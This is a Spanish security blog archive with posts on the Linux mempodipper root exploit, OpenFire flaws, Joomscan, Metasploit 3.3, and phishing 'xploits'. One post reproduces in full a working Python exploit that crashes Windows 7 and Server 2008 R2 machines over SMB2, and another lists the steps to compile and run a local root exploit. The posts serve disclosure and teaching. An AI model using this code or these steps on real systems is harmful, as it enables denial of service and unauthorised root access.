PoC: Elevación de privilegios en el kernel Linux

Posted by Epsilon On enero - 26 - 2012

Hace poco me entero de una nueva vulnerabilidad en el kernel de Linux, esta vez se trata de una vulnerabilidad, la cual permite escalar privilegios localmente en un que tenga el kernel de Linux 2.6

El fallo fue descubierto por Jüri Aedla y  se debe a una incorrecta comprobación de privilegios al abrir el ‘/proc/#pid#/mem‘ de un proceso.

La informacion completa del fallo puede encontrarse en este link, alli explican paso a paso en que consiste la vulnerabilidad y como explotarla.

Esta es una vulnerabilidad grave, ya que  cualquier persona autorizada podria acceder como ROOT a cualquier sistema (obviamente que sea vulnerable) tan solo con estar fisicamente en el equipo y ejecutar el exploit.

En RinconInformatico.NET, se hizo la prueba de concepto con el fin de verificar  que tan facil seria para un atacante obtener una consola de root, y la verdad es que es bastante sencillo.

Se deben seguir los siguientes pasos:

  1. Se obtiene el codigo del exploit, elaborado en C, denominado por el autor como mempodipper
  2. Teniendo el codigo fuente del script, se procede a compilarlo:

    $ gcc mempodipper.c -o mempodipper

  3. Despues de compilar, solo resta ejecutar el binario y esperar  el resultado:
./mempodipper
Si todo ha salido bien, obtendremos root en unos pocos segundos:

 

Afortunadamente, las bondades del libre permite que el bug sea corregido en tiempo record, aqui puedes ver el parche desarrollado por Linus Torvalds el cual soluciona la vulnerabilidad.

Solo queda esperar a que las diferentes distribuciones empaqueten la nueva version incluyendo el parche y actualizar de inmediato. Por su parte el proyecto Debian ya parcho casi todas las versiones, solo falta la version de wheezy, para la cual se debe esperar 10 dias a que la version en SID (ya parchada)  pase a testing.

Etiquetas: , , , , , , , , ,

Creepy ahora Disponible en Debian inestable.

Posted by Epsilon On mayo - 24 - 2011

Hace algun tiempo nuestro amigo Dragon nos enseño una excelente aplicacion llamada creepy, la cual nos permite  automatizar el proceso de extracción y localización de la información GPS publicada en las fotos por un de , dejandola a la mano de cualquier persona.

Despues de conocer la aplicacion, usarla, y agregarla en mi set de herramientas preferidas, me di cuenta que alguien habia creado en  bug RFP en ,  ¿pero que quiere decir un bug RFP?

RFP(“Request for Package”):  Es un bug que se crea, cuando algun usuario de Debian encuentra un interesante y desea que este sea incluido en Debian.

Al notar que esta magnifica aplicacion no se encontraba en Debian me hice cargo del bug y me puse en la tarea de empaquetar creepy para debian. Cabe resaltar que no soy experto empaquetando, pero poco a poco voy aprendiendo todos los trucos y metolodogias apropiadas para el buen empaquetamiento en debian, una distribucion muy estricta en cuanto a organizacion.

Despues de mucho trabajo, empeño, y conocimiento ( por que se aprendio mucho empaquetando una aplicacion desde cero, nunca lo habia hecho) es un orgullo para mi decir que CREEPY ahora esta oficialmente en debian inestable y que despues de 10 dias pasara a testing. Por ultimo, agradecer al upstream: “Yiannis Kakavas” por su apoyo y disposicion en colaborar con los cambios que habia que realizar, muchas gracias!!

Para aquellos usuarios de SID que deseen probarlo:

apt-get install creepy

Espero que lo prueben, y me den sus  comentarios y recomendanciones

Etiquetas: , , , , , , , , , , , , , ,

Nuevas vulnerabilidades en OpenFire <=3.6.4

Posted by Epsilon On enero - 6 - 2011

openfire 3.6.4

, es una solucion  muy utilizada en el ambiente laboral  para aspectos de Colaboración (Chat, envio de archivos, salones de conferencias) que usa el protocolo Jabber (si el mismo de Google Talk) para proveer a sus usuarios de servicios de mensajeria instantanea, es extensible a hacer video conferencia y se puede integrar con Asterisk para hacer llamadas. Anteriormente aqui en RinconInformatico.NET hemos escrito algunas entradas sobre esta magnifica herramienta.

Sin embargo, reciemente se han descubierto algunos fallos GRAVES de seguridad en la ultima version (3.6.4), los cuales permiten a  un atacante  ejecutar funciones como un autenticado y hacer peticiones al servidor. El ataque funciona mediante la inclusión de algunos enlaces  de secuencia de comandos en una página que tiene acceso a un sitio al que el se conoce (O se supone) que han sido autenticados. Una explotación exitosa de estas vulnerabilidades podría resultar en,  comprometer toda la aplicacion, el robo de credenciales de autenticación basado en cookies, redirección de la página arbitraria, la divulgación o modificación de datos sensibles y ataques de phishing.

En exploit-db se ha publicado toda la informacion del fallo de seguridad, y una prueba de concepto.  Alli nos muestran claramente como de una forma muy sencilla se puede explotar la vulnerabilidad y comprometer la seguridad del .

Recomendamos a todos aquellos que usen openfire estar pendiente de la pagina oficial,  esperando la solucion a este grave fallo.

Etiquetas: , , , , , , , , , , , , , ,

Joomscan: Escanner de vulnerabilidades para Joomla

Posted by Epsilon On febrero - 22 - 2010

Existen muchas herramientas como w3af, acunetixo el mismo nessus,  que nos ayudan en el proceso de encontrar vulnerabilidades en  aplicaciones web. Sin embargo hace poco encontré un scanner el cual se especializa en portales Joomla(para quienes no saben que es Joomla hacer click aqui). Tuve la oportunidad de probar la aplicacion  y me gusta bastante, entre sus características tenemos:

  • Hecho en Perl
  • Permite actualizarse.
  • Reporte completo.
  • Interfaz web y por consola.
  • detecta vulnerabilidades como: SQL injection, LFI, RFI, XSS entre otros.
  • Se basa en OWASP.

Para descargar el  pueden hacer click aqui. Obviamente como es hecho en perl, necesitamos tener instalado perl y algunas librerías:

apt-get install perl libwww-perl libtest-www-mechanize-perl

Para actualizarlo  hacemos lo siguiente:

chmod 777 joomscan.pl

./joomscan.pl update

Hacer un simple escaneo:

./joomscan.pl -u _joomla

El resultado  que nos arroja es muy explicito, dice la vulnerabilidad, la descripción y si es vulnerable o no. Joomscan un buen script que nos ayuda a  descubrir aquellos  fallos que se pueden explotar en nuestro portal Joomla.

Etiquetas: , , , , , , , , , , , , , , ,

Liberado Metasploit Framework 3.3

Posted by Epsilon On noviembre - 19 - 2009

El pasado 17 de noviembre, y tras un año de desarrollo continuo, fue liberada la versión 3.3 de este excelente framework el cual es herramienta fundamental para cada individuo que este relacionado con la seguridad informática.

Algunas nuevas Características:

  • 120 nuevos Exploits
  • 100 modulos auxiliares
  • mas de 80 bugs corregidos

Para descargarlo pueden hacer click aca, y si tienen problemas con la , en Rincon Informatico hemos hablado sobre la instalacion del metasploit en GNU/Linux.

Etiquetas: , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Nueva vulnerabilidad en Windows 7 y Windows 2008 server

Posted by Epsilon On noviembre - 13 - 2009

Leyendo los feeds  me encuentro con esta noticia, se trata de un nuevo fallo en el operativo de moda: 7

Este bug permite  a los atacantes  bloquear la maquina victima lo cual  obliga a  para tener otra vez control sobre la misma. En la pagina del investigador que dio a conocer el fallo (Laurent Gaffi)  explica  como funciona esta vulnerabilidad la cual se encuentra nuevamente en el protocolo SMB,  y afirma que no es posible la ejecucion de codigo remoto, ya que  el codigo de explotacion afecta al de Windows 7 y Windows Server 2008 R2, disparando un bucle infinito.

Comparto el codigo de explotacion:

#win7-crash.py:
#Trigger a remote kernel crash on Win7 and server 2008R2 (infinite loop)
#Crash in KeAccumulateTicks() due to NT_ASSERT()/DbgRaiseAssertionFailure() caused by an #infinite loop.
#NO BSOD, YOU GOTTA PULL THE PLUG.
#To trigger it fast; from the target: \\this_script_ip_addr\BLAH , instantly crash
#Author: Laurent Gaffié
#

import SocketServer

packet = "\x00\x00\x00\x9a" # ---> length should be 9e not 9a..
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"

class SMB2(SocketServer.BaseRequestHandler):

 def handle(self):

 print "Who:", self.client_address
 print "THANKS SDL"
 input = self.request.recv(1024)
 self.request.send(packet)
 self.request.close()

launch = SocketServer.TCPServer(('', 445),SMB2)# listen all interfaces port 445
launch.serve_forever()

Que raro que el protocolo SMB este presentando tantos problemas de ,  ya que anteriormente  se han hecho publicos algunos fallos que afectan este mismo  protocolo como  la vulnerabilidad  BSOD  (pantallazo azul) que afectaba a , Windows 7 y Windows server 2008

Etiquetas: , , , , , , , , , , , , , , , , , , , , , , , ,

Diferencia entre Xploits y Exploits

Posted by Epsilon On octubre - 23 - 2009

Mucha gente tiende a confundir los términos exploits y xploits o  creen que significan lo mismo, sin embargo,   aunque se escriban casi de la misma forma tienen grandes diferencias de carácter conceptual. En esta oportunidad quiero explicarles desde mi punto de vista: que es un y un Xploit, para que podamos ver claramente las diferencias que hay entre ellos y de esta forma no volver a confundirlos.

¿Que es Xploit?

Un Xploit son  las conocidas  y famosas postales de gusanito falsas, que su función es  crear una pagina idéntica a la de hotmail,gmail, yahoo, facebook, etc,  para que los usuarios  digiten allí su password. El procedimiento es sencillo. A la víctima le llega un correo diciendo que alguna persona (puede ser conocida o no) le mando una tarjeta postal, la víctima  por curiosidad abre el correo y este dice que para la postal debe dar click en un enlace, sin embargo este enlace es falso y lo que hace es el formulario idéntico de hotmail (o de otro servicio de correo)  creado por el atacante. Estando allí, la víctima simplemente cree que se le cerro hotmail y vuelve a escribir la sin saber que ese formulario es falso.

¿Que es ?

Un es un programa que logra explotar  un bug o fallo de algún programa o hardware, causando que este funcione de tal forma que no fue pensado en un comienzo,  Dichos programas son hechos generalmente en C, perl, , ruby, php y su función generalmente es violar las medidas de seguridad para poder acceder al mismo de forma no autorizada y emplearlo en beneficio propio o como origen de otros ataques a terceros.

Espero que haya quedado un poco mas claro las diferencias que hay entre,  un termino y el otro,  y  si alguien no esta de acuerdo con lo expuesto, con gusto lo invito a que me  diga desde su punto de vista  cual es la diferencia entre estos términos.

Etiquetas: , , , , , , , , , , , , , , , , , , , , , , , , , , , ,